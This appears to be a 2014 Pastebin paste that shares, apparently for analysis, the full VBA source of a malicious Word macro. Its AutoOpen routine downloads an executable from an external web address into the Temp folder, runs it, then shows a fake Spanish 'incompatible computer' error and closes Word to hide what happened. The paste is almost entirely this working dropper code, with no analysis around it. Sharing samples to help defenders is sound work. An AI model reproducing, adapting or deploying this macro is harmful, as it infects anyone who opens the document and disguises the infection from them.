Advertisement
dynamoo

Malicious Word macro

Dec 17th, 2014
416
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Attribute VB_Name = "ThisDocument"
  2. Attribute VB_Base = "1Normal.ThisDocument"
  3. Attribute VB_GlobalNameSpace = False
  4. Attribute VB_Creatable = False
  5. Attribute VB_PredeclaredId = True
  6. Attribute VB_Exposed = True
  7. Attribute VB_TemplateDerived = True
  8. Attribute VB_Customizable = True
  9. #If VBA7 Then
  10.     Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" _
  11.     (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
  12. #Else
  13.     Private Declare Function dfdfdfdfsdfsdf Lib "urlmon" Alias "URLDownloadToFileA" _
  14.         (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
  15. #End If
  16.    
  17. Sub AutoOpen()
  18.     URL = "http://www.milusz.eu/templates/default/00/ss.exe"
  19.     WHERE = Environ("Temp") & "\" & "test00010.exe"
  20.     DownloadStatus = dfdfdfdfsdfsdf(0, URL, WHERE, 0, 0)
  21.     CreateObject("WScript.Shell").Run WHERE
  22.        
  23.        
  24.         MsgBox "Este documento no es compatible con este equipo." & vbCrLf & vbCrLf & "Por favor intente desde otro equipo.", vbCritical, "Equipo no compatible"
  25.  
  26. Application.DisplayAlerts = False
  27. Application.Quit
  28.  
  29. End Sub
Advertisement
Advertisement
Advertisement
RAW Paste Data Copied
Advertisement